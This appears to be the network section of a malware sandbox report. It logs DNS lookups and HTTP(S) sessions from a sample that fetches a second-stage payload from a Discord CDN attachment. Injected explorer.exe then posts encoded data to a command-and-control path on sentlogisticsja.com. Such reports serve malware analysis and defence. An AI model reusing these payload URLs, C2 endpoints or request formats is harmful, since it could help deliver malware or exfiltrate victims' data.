Jan 13, 2022 20:22:17.427440882 CET	8.8.8.8	192.168.2.3	0xd5a9	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:17.427440882 CET	8.8.8.8	192.168.2.3	0xd5a9	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:17.427440882 CET	8.8.8.8	192.168.2.3	0xd5a9	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:45.899193048 CET	8.8.8.8	192.168.2.3	0xd6ce	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:45.899193048 CET	8.8.8.8	192.168.2.3	0xd6ce	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:45.899193048 CET	8.8.8.8	192.168.2.3	0xd6ce	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:45.899193048 CET	8.8.8.8	192.168.2.3	0xd6ce	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:45.899193048 CET	8.8.8.8	192.168.2.3	0xd6ce	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:55.914685011 CET	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:55.914685011 CET	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:55.914685011 CET	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:55.914685011 CET	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:55.914685011 CET	8.8.8.8	192.168.2.3	0x3a3f	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:23:52.776423931 CET	8.8.8.8	192.168.2.3	0x7ebe	No error (0)	www.sentlogisticsja.com	sentlogisticsja.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2022 20:23:52.776423931 CET	8.8.8.8	192.168.2.3	0x7ebe	No error (0)	sentlogisticsja.com		34.102.136.180	A (IP address)	IN (0x0001)
Jan 13, 2022 20:24:13.288265944 CET	8.8.8.8	192.168.2.3	0x54d0	Server failure (2)	www.senerants.tech	none	none	A (IP address)	IN (0x0001)
Jan 13, 2022 20:24:15.380373001 CET	8.8.8.8	192.168.2.3	0x83c4	Server failure (2)	www.senerants.tech	none	none	A (IP address)	IN (0x0001)
Jan 13, 2022 20:24:15.420062065 CET	8.8.8.8	192.168.2.3	0x79d3	Server failure (2)	www.senerants.tech	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

www.sentlogisticsja.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49746	162.159.130.233	443	C:\Users\user\Desktop\WZ454554.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49747	162.159.130.233	443	C:\Users\user\Desktop\WZ454554.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49750	162.159.130.233	443	C:\Users\user\Desktop\WZ454554.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49751	162.159.135.233	443	C:\Users\user\Contacts\Hyrzbcwcas.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49817	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 13, 2022 20:23:52.812988043 CET	13794	OUT	GET /m9g2/?xXV=6l9PRhy0D4S&GvW=sz5ErymDSipaI2rGHMiHzQDn8335WrDZWT7fmGUTYuWWeT2KiLBKARdoGEtcQCocu9tS HTTP/1.1 Host: www.sentlogisticsja.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 13, 2022 20:23:52.928046942 CET	13795	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Thu, 13 Jan 2022 19:23:52 GMT Content-Type: text/html Content-Length: 275 ETag: "6192576d-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49819	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 13, 2022 20:23:55.002516031 CET	13804	OUT	POST /m9g2/ HTTP/1.1 Host: www.sentlogisticsja.com Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.sentlogisticsja.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.sentlogisticsja.com/m9g2/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 47 76 57 3d 6b 52 31 2d 31 57 32 49 66 69 6b 71 56 31 57 2d 65 70 48 42 74 33 28 62 72 55 7a 4b 55 37 33 73 55 55 72 5a 7a 31 55 56 52 74 43 71 61 41 53 53 76 4c 49 55 4f 46 51 61 65 42 4e 34 4d 68 41 52 73 4f 41 4e 32 5a 52 39 72 4c 6a 76 46 4f 65 52 46 6a 6b 6a 32 5f 78 41 44 55 76 5f 67 61 55 64 54 64 53 59 47 77 28 45 41 42 54 74 71 33 73 61 48 7a 5a 54 36 72 5a 53 47 39 4f 6f 6e 51 71 68 52 73 7e 70 63 52 32 34 57 62 6b 79 70 30 32 75 31 4a 4b 49 48 32 47 75 49 6d 5a 42 45 49 42 74 61 79 54 46 49 6a 33 63 31 39 44 6a 6c 72 69 58 6e 45 52 30 61 62 48 7a 61 32 4a 42 79 74 59 6b 4b 6a 50 4c 66 5a 50 74 35 68 79 6a 51 47 32 62 32 64 61 66 6f 49 51 65 4a 4c 59 4e 28 71 59 6b 47 6a 77 35 49 54 4c 4d 51 6f 68 35 4d 77 72 4e 42 63 6b 72 6d 49 34 4c 4e 6c 7e 59 6e 59 6d 34 6c 7a 58 43 6e 37 38 4b 28 36 54 5a 49 30 76 32 5a 74 47 5a 70 67 72 2d 32 38 57 6a 77 61 77 68 50 35 6c 4e 45 6f 42 6b 36 50 4c 78 66 6c 62 49 37 4a 38 73 39 2d 63 6e 51 77 32 53 69 4f 64 59 46 77 28 45 4c 4e 48 75 57 51 45 34 62 69 4d 5a 46 77 54 7a 52 73 4f 52 73 75 76 4a 28 7a 78 46 4d 48 64 37 34 75 39 6c 6c 32 4f 66 71 44 59 78 4b 64 57 51 45 68 30 4a 6e 42 4a 63 69 70 4e 4f 78 37 4d 41 28 71 41 42 49 78 76 76 72 49 6b 4e 6c 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: GvW=kR1-1W2IfikqV1W-epHBt3(brUzKU73sUUrZz1UVRtCqaASSvLIUOFQaeBN4MhARsOAN2ZR9rLjvFOeRFjkj2_xADUv_gaUdTdSYGw(EABTtq3saHzZT6rZSG9OonQqhRs~pcR24Wbkyp02u1JKIH2GuImZBEIBtayTFIj3c19DjlriXnER0abHza2JBytYkKjPLfZPt5hyjQG2b2dafoIQeJLYN(qYkGjw5ITLMQoh5MwrNBckrmI4LNl~YnYm4lzXCn78K(6TZI0v2ZtGZpgr-28WjwawhP5lNEoBk6PLxflbI7J8s9-cnQw2SiOdYFw(ELNHuWQE4biMZFwTzRsORsuvJ(zxFMHd74u9ll2OfqDYxKdWQEh0JnBJcipNOx7MA(qABIxvvrIkNlQ).
Jan 13, 2022 20:23:55.118797064 CET	13959	IN	HTTP/1.1 405 Not Allowed Server: openresty Date: Thu, 13 Jan 2022 19:23:55 GMT Content-Type: text/html Content-Length: 154 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Q9ZUYZO8/a7e5BdDlvaZwJJtx0FbiRvpYdiZ7D/aCsoMoi5qB+aQaBHkMGmhT3JB5UzlsiLB6/R1RX4oqybO9g Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49820	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 13, 2022 20:23:55.024300098 CET	13818	OUT	POST /m9g2/ HTTP/1.1 Host: www.sentlogisticsja.com Connection: close Content-Length: 149769 Cache-Control: no-cache Origin: http://www.sentlogisticsja.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.sentlogisticsja.com/m9g2/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 47 76 57 3d 6b 52 31 2d 31 57 43 36 50 43 78 73 52 48 79 37 66 35 58 5a 6e 58 4f 43 36 46 54 56 64 49 6e 53 4f 44 61 65 7a 30 6b 52 65 4f 4b 43 51 41 69 53 6e 70 52 64 44 46 51 5a 59 42 4e 5f 61 52 63 74 79 73 51 37 32 64 68 48 72 4c 62 73 50 76 75 51 46 7a 6c 72 32 66 39 38 46 55 37 76 67 63 55 34 53 34 43 2d 4e 51 37 45 5a 78 37 72 76 6b 6b 52 47 32 70 51 34 62 46 58 45 39 57 78 6e 6a 76 42 53 4a 7e 4c 62 51 61 2d 52 74 6b 44 6d 58 28 78 78 65 75 4d 4a 47 36 74 48 46 6c 53 4b 4c 6c 70 66 33 7a 37 55 78 66 66 72 39 72 6c 67 73 48 71 6a 32 39 6e 59 4c 33 42 61 33 4d 38 71 4c 78 36 59 51 37 54 51 49 44 58 32 30 57 6c 63 56 4f 54 79 66 43 69 71 4c 49 68 4c 4f 6b 53 37 36 46 6b 46 68 59 70 4d 33 6e 6e 57 5a 74 39 5a 53 44 44 41 76 49 6a 7e 34 6f 30 45 48 65 31 74 73 72 33 78 51 37 57 70 37 38 68 7a 61 54 56 51 32 33 4f 4f 36 65 43 6f 67 61 5a 71 2d 33 35 36 70 45 6c 4f 4e 5a 56 42 4c 52 6c 34 66 58 74 51 30 72 77 78 61 51 6c 37 63 41 44 55 77 32 50 6d 4e 31 54 46 77 7e 39 4c 50 75 35 58 68 67 34 62 7a 74 44 49 7a 4c 4a 41 38 4f 51 70 2d 28 4c 6d 77 5a 56 4d 48 46 37 35 62 59 74 33 56 65 66 74 56 63 79 4a 35 43 51 58 42 30 4a 71 68 4a 43 79 4a 67 34 7a 34 63 32 74 4b 67 5a 66 47 65 6f 71 70 42 37 6e 47 67 4e 54 35 44 53 5a 47 52 4f 74 61 4f 79 74 44 41 6d 53 50 71 64 68 65 75 44 4f 46 59 39 49 59 79 48 45 65 4b 2d 7e 73 7e 6a 59 33 4a 5f 48 64 62 68 6e 61 74 45 75 32 59 64 53 5a 47 79 6e 4e 35 55 76 4a 6a 48 4e 78 42 54 45 48 72 71 63 73 68 61 75 42 6d 6e 59 74 4a 73 45 4e 49 2d 64 45 6e 2d 69 6f 32 55 4f 47 4b 65 32 42 4b 52 44 32 37 35 33 78 44 53 71 7a 28 51 45 56 69 32 32 41 78 66 4b 4e 79 6b 4d 66 41 78 4d 41 77 78 7a 34 58 49 63 6d 42 53 39 69 32 4d 28 5a 65 66 35 2d 75 43 39 4c 63 4d 6c 6e 39 39 77 2d 31 4f 52 4c 47 65 56 6c 43 77 47 32 34 5a 66 6c 56 32 69 55 4e 34 6c 59 75 65 58 70 72 77 6b 47 49 56 42 6e 4f 52 47 34 50 51 62 49 41 74 4d 4f 48 74 5a 41 62 75 77 38 34 46 55 67 64 59 66 31 6d 32 48 38 65 5f 37 56 78 79 70 36 63 4b 41 44 65 4d 61 37 70 61 45 32 4e 75 68 75 30 77 77 4e 30 7a 4c 74 51 2d 42 6a 62 41 4b 70 73 45 4f 43 48 73 70 76 77 43 79 66 47 74 4a 39 75 61 57 56 30 77 51 4e 51 59 39 46 6a 61 43 43 51 4b 46 5a 72 6f 6f 31 41 4a 36 75 76 46 38 48 58 76 78 41 67 53 68 51 39 63 71 55 31 52 59 6f 73 38 68 63 7e 4f 51 6e 63 4f 76 44 4f 46 6f 6f 74 53 28 7a 5a 4d 64 42 78 30 57 2d 56 69 4c 78 37 51 69 58 63 58 46 63 48 56 63 44 72 41 42 66 50 76 4a 53 43 58 39 6a 47 32 53 56 4d 58 71 66 4c 61 63 47 44 6d 6a 4c 74 70 7a 65 32 63 59 52 71 6f 70 31 41 6a 68 66 63 79 69 5f 70 55 4c 4c 58 76 44 66 63 38 43 61 62 57 47 66 65 58 4e 75 4c 38 75 34 32 42 35 78 6d 62 54 7a 6f 7a 6d 64 75 65 31 6a 70 49 74 51 56 4a 56 42 35 31 65 51 49 41 6c 71 42 6d 7a 6c 69 6b 42 70 45 52 7e 73 37 37 66 32 63 67 6d 39 68 61 65 49 4d 49 53 48 51 48 67 5a 63 69 65 73 34 33 69 46 6f 59 5a 66 4a 58 72 38 35 6c 33 6d 4f 78 69 71 63 45 4f 4a 53 30 64 54 39 65 7a 5f 49 5f 75 31 64 6f 33 53 4c 50 39 51 6d 71 51 79 4d 44 4e 46 38 30 32 73 48 56 74 50 48 48 69 6a 37 79 57 79 72 6b 73 71 31 39 39 4b 49 33 5a 4d 6b 71 70 30 38 71 62 30 72 78 54 64 53 4a 7a 5f 7a 43 77 39 75 62 74 6d 5a 39 56 30 42 56 79 72 32 65 4e 71 36 49 6d 77 73 51 74 67 4f 44 58 49 66 53 36 41 6f 68 43 4f 56 4a 6f 61 32 71 34 4e 6f 45 78 36 50 65 6b 77 31 59 5a 71 77 70 69 64 66 63 49 5f 6e 55 66 74 47 70 4d 41 39 41 49 65 31 54 6b 33 30 6b 4d 59 38 47 76 73 68 58 55 6d 4f 6d 72 39 71 52 6c 5f 62 42 74 65 67 73 57 6d 39 30 4f 69 51 35 54 43 74 37 74 61 31 5f 31 69 41 73 36 45 30 33 65 64 6c 73 52 6e 47 79 31 54 31 4d 7a 6f 71 69 44 46 58 79 58 47 36 61 34 57 58 33 68 5a 4c 77 52 73 53 48 59 44 64 59 7e 4a 55 67 5a 6d 43 68 44 4f 43 2d 73 41 6b 6f 4f 57 6c 64 33 2d 37 41 38 6d 4b 77 6c 42 72 66 6f 68 7e 4c 53 45 71 6d 31 42 48 39 4e 6a 50 38 79 47 75 73 42 59 6e 6a 55 30 31 77 53 36 4c 4c 7a 72 46 56 79 42 47 6e 77 4e 38 64 6f 67 4a 4d 4c 56 33 4e 4f 4b 71 77 78 52 31 72 6d 75 43 5f 30 2d 56 65 76 77 32 74 75 69 49 63 5a 70 7e 36 54 6f 4d 35 73 61 6e 52 62 6f 35 66 77 64 66 34 38 34 76 55 39 31 43 30 71 73 46 58 4b 32 75 64 32 34 68 2d 44 32 4f 76 4d 7a 65 4e 4e 34 69 Data Ascii: GvW=kR1-1WC6PCxsRHy7f5XZnXOC6FTVdInSODaez0kReOKCQAiSnpRdDFQZYBN_aRctysQ72dhHrLbsPvuQFzlr2f98FU7vgcU4S4C-NQ7EZx7rvkkRG2pQ4bFXE9WxnjvBSJ~LbQa-RtkDmX(xxeuMJG6tHFlSKLlpf3z7Uxffr9rlgsHqj29nYL3Ba3M8qLx6YQ7TQIDX20WlcVOTyfCiqLIhLOkS76FkFhYpM3nnWZt9ZSDDAvIj~4o0EHe1tsr3xQ7Wp78hzaTVQ23OO6eCogaZq-356pElONZVBLRl4fXtQ0rwxaQl7cADUw2PmN1TFw~9LPu5Xhg4bztDIzLJA8OQp-(LmwZVMHF75bYt3VeftVcyJ5CQXB0JqhJCyJg4z4c2tKgZfGeoqpB7nGgNT5DSZGROtaOytDAmSPqdheuDOFY9IYyHEeK-~s~jY3J_HdbhnatEu2YdSZGynN5UvJjHNxBTEHrqcshauBmnYtJsENI-dEn-io2UOGKe2BKRD2753xDSqz(QEVi22AxfKNykMfAxMAwxz4XIcmBS9i2M(Zef5-uC9LcMln99w-1ORLGeVlCwG24ZflV2iUN4lYueXprwkGIVBnORG4PQbIAtMOHtZAbuw84FUgdYf1m2H8e_7Vxyp6cKADeMa7paE2Nuhu0wwN0zLtQ-BjbAKpsEOCHspvwCyfGtJ9uaWV0wQNQY9FjaCCQKFZroo1AJ6uvF8HXvxAgShQ9cqU1RYos8hc~OQncOvDOFootS(zZMdBx0W-ViLx7QiXcXFcHVcDrABfPvJSCX9jG2SVMXqfLacGDmjLtpze2cYRqop1Ajhfcyi_pULLXvDfc8CabWGfeXNuL8u42B5xmbTzozmdue1jpItQVJVB51eQIAlqBmzlikBpER~s77f2cgm9haeIMISHQHgZcies43iFoYZfJXr85l3mOxiqcEOJS0dT9ez_I_u1do3SLP9QmqQyMDNF802sHVtPHHij7yWyrksq199KI3ZMkqp08qb0rxTdSJz_zCw9ubtmZ9V0BVyr2eNq6ImwsQtgODXIfS6AohCOVJoa2q4NoEx6Pekw1YZqwpidfcI_nUftGpMA9AIe1Tk30kMY8GvshXUmOmr9qRl_bBtegsWm90OiQ5TCt7ta1_1iAs6E03edlsRnGy1T1MzoqiDFXyXG6a4WX3hZLwRsSHYDdY~JUgZmChDOC-sAkoOWld3-7A8mKwlBrfoh~LSEqm1BH9NjP8yGusBYnjU01wS6LLzrFVyBGnwN8dogJMLV3NOKqwxR1rmuC_0-Vevw2tuiIcZp~6ToM5sanRbo5fwdf484vU91C0qsFXK2ud24h-D2OvMzeNN4iVktRzuZXfVkmBSab7QGcSo7LemFNp1i8JonAFC8iooSZD8EIZHK4iUCDeTURRSLOdlD7J08~pW0Q4TNUptdK1htPXrNx-0N(8PtoKgbrr9_yjowcMYniPMJWmHxVac034MIIiVSNhRUWACtWbnsTTybW2Pe2CRtSsk_vEbgAbeyco9xQGnHbMPL5RF2FEW5K_3x8sfb(5xDUzsTcOm0rWsSAc~8mAXT6-QajZT5RAqpDJI2XDejWojBa3T1nsNCNHehfP~2zhljagufb_rHOzJv8S57xN9Fppxnpyfdx0UXuTlGoz3B6lOaNPVN6FoKWnfLSyF8zqAYwxb08U0qN10zuUEFn1qUhsqIR6gNknebKhLDWctLwIbOauU7y6ltvMw_DLkvFj52v75HPisIedY96iemjEpHARdsf5XBVTguT3qvQ-J_lzDRrvxeKkiefbPXA51qgbHC1KXbAaBAzT7blBAfs6yOXJfiN3lmlHFpF8RE6Loe6DsNox2XDFrYa6fUY25G~EjqpWPJelJoFI(ROugxymA4JqpMhHWYjDA78n5mspds6A77OsdQbiyGcHEIV8GS2LrKTy4vD63BoxhgXjI1vIgnagxrWnqgjsnspanxZw(uSMsRnNIE8xToRYWmnOq7S93RARnP3xN5y7ptBvAYUe~RSNtdcyZwfZsHWHXyjIfz3EIp7GPKVl~AS88GztauQS2XfKvOq8sL73JAQDQNF57JttHyWfV_ZTKLjaN8E2kD~YU-U4COqUAhibMyG6CQWgADDJ10HG~94rB_CQh9EqqokXj4Y_WM9ajCrYOfXhqVGixGzjDMgaWUjfmqnQ8vmTi_jM4jOwc_5UfNbjZYm_WSnfjpr3Cu9J86GE8fmS4GDYoqKp1ACT6Urmj2uPF4zYjR361Y~uRwVI6RowwcpjJNif4srkAURNn0VAYU3ERRIK(50zNo~u9butrMOJAiR0Ke2FyTJRePeQjyKrKIGWgZers930xwq43xgzy5K_eMh5VJ8Gnf3DQhtVoDtVRDTnUnusrhEeCWmis_HeT9f6NiNqPfr6(kX054Km3Xyl0_DOtq~YZLK2Vx4QQlA7mI2CMJO8KXKuKtfbsHOA8vujuoSA9IgvzZaOPggACQAaIT7WD0dLhcyf4GYZFVgljMrYbzBP1Z(X6_iboihDsAeciC5g4ku8jaXg5BCre0iCLJ3qS7Ra3Nr4nJD6dk4XVvYQavd90dVRdBsdkoPWeRG8PtW9yUJ80UqlG7NGCmbc94tCc3TfKa~YXjvftJks3ohkxs3p4CbkHb0rzRBaGi2eWDOi~JoOJGDZHIoyB22rxGfmaswvrVrhMdD5YnxLD0qhGdzxKxuLpKicZM2kf1n_nO93rFovwRK51mPOR5G1RvJfTLSboA(hbLD5EvxoexKmD5U4L4rolJIhV_l7~GYrRyB0iyQ5jwk7kFXgJoPSgCIlXVQlh0bC~50WZX2D(baUqf8JI7b6xF(X6eSZowKz9nnGwOET3KKPsN9csTc2~XlS3SNqDsh-S-ZUQL~EyvQKSxfpbARODgHRIf9LSQGbbJodR8ySqea2ZMO9eL3vg1S-Fo7bwH0EAu3OEOt2yjJvNH00xdELDNveJuo1bHTNqy2eceu3B1~ZX-TwYq79sThAAFBcdlvhEugb424ta2mj5ukRlrN5EyHiqHSM3m18J8gLItWzm6bsPcEXFU6N8scPpJ8YaKRTsSagOTtWAIrS2XMu9NkMhAzeoKafCleZbRbCvUTRySS6ladRKJWJ4eSwY3uldIHY209qlvDLvcoJYGSC~qIcH7MVSWrrO-iOcNg9o7a4Y-hIgnP6gqbaSmpWrGpdFxWRanQpyH2SCv09km5hSlQ8Yqn4DpX0G9U1sbJ-8H8vVtDFELEo2CUsHvMnbk8fDOqrisKwi0HfMfJ4F4GrPOMwfCrFUZ(yBdGaoa7qvMPa2oOZpcTZehxzz647yQnrsmS8PGxii8DANfnnOYgOXr9jeylPOEHwIDOAEeDku_lyNFXyhZ9TrVfgSjf43zRPQfgmXTf6fgg_iC3DeVuUQNNKIDb6RtAiwkzQQFGc9IMu8hcofPaNSen8Cv9CYeZkE-pGXZOzlUgF7HqRfFZUSj8_0MK1RKOJKIX_pyFgSUOPu1SQBDvt(n(HiWVhNCLVZHAGtOgjMUjKORpRJsmt18w2X_acAZORxpr91vMEZZAc5UdN(5iVCoLhzqUdiZCH1GjxTXz06M11M-F4CQK0xLNfKmyVdVakOaxZ454MPZUE5E8u~sPK1ZOGYAANYdy30LHz3Vdz9ACUUHJ-jzItbFkA38IMD7Zjaxqb46fUZ8EgKFpydxRYueCJ5Pl8KK4Hg0JyGjVla6gbZpflSukEuyKcKdjkzltZwoqbvW0JRMcn8leJoN9_LmOJTWM97FboruJFuHGIgNWu9JJvKIb2s4RwER63y9SnCPXjw8YpcHKas8GyYTddYLBfAla5yogXfVMS~HDsoD1Mi_6or1lfAoIAV8JBy7q9IevF57bVpvD4EkjiQDh4bdtxHDWDevb7cQusxvHOvyhJPBeh1712EWjmqlDcG_2JN2rGmPUl1jtPRvkqyMPSaBjf97JEDkY4Us0O26oDkuBVLKHLY1~dYyu9eobe3DyYxNbxnSLB5ywvIu46A_V2k8JHFsSlv8rfQNxE1jyJEbtWCcSoGH4sKH~PXj69jVW78fToQJGgbo
Jan 13, 2022 20:23:55.142203093 CET	13960	IN	HTTP/1.1 405 Not Allowed Server: openresty Date: Thu, 13 Jan 2022 19:23:55 GMT Content-Type: text/html Content-Length: 154 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Q9ZUYZO8/a7e5BdDlvaZwJJtx0FbiRvpYdiZ7D/aCsoMoi5qB+aQaBHkMGmhT3JB5UzlsiLB6/R1RX4oqybO9g Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49746	162.159.130.233	443	C:\Users\user\Desktop\WZ454554.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-13 19:22:17 UTC	0	OUT	GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcasllzbwmlqsydewtjitxnzf HTTP/1.1 User-Agent: lVali Host: cdn.discordapp.com
2022-01-13 19:22:17 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 13 Jan 2022 19:22:17 GMT Content-Type: application/octet-stream Content-Length: 488448 Connection: close CF-Ray: 6cd0fe153c0d698b-FRA Accept-Ranges: bytes Age: 21537 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Hyrzbcwcasllzbwmlqsydewtjitxnzf ETag: "6ce484ddb0699821883415a6a3c03422" Expires: Fri, 13 Jan 2023 19:22:17 GMT Last-Modified: Thu, 13 Jan 2022 12:45:05 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1642077905426119 x-goog-hash: crc32c=ezqS6w== x-goog-hash: md5=bOSE3bBpmCGINBWmo8A0Ig== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 488448 X-GUploader-UploadID: ADPycdvRzXtsPBcamJvr00nxQdLhRJEMoAYpY8SiWiAVO9bYx2AneSL0MYtS-kyeIcV-aXT9cMB6Wue_WC7NzP4DAPhWzq96GQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
